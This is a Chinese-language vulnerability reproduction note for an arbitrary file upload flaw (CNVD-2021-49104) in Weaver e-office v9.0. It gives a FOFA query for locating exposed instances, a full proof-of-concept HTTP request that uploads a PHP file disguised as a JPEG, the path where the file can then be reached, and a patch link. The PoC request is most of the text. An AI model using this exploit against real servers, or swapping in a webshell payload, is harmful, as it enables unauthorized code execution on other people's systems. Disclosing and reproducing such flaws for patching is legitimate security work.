泛微e-office文件上传漏洞（CNVD-2021-49104）

漏洞描述

由于 e-office 未能正确处理上传模块中的用户输入，攻击者可以通过该漏洞构造恶意的上传数据包，最终实现任意代码执行。

FOFA 语法

app="泛微-EOffice"

影响版本

泛微 e-office v9.0

漏洞复现

poc

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host:x.x.x.x:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 189
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="1.php"
Content-Type: image/jpeg
<?php phpinfo();?>
--e64bdf16c554bbc109cecef6451c26a4--

访问

http://x.x.x.x:port/images/logo/logo-eoffice.php

修复建议

修补方案，下载链接：

http://v10.e-office.cn/eoffice9update/safepack.zip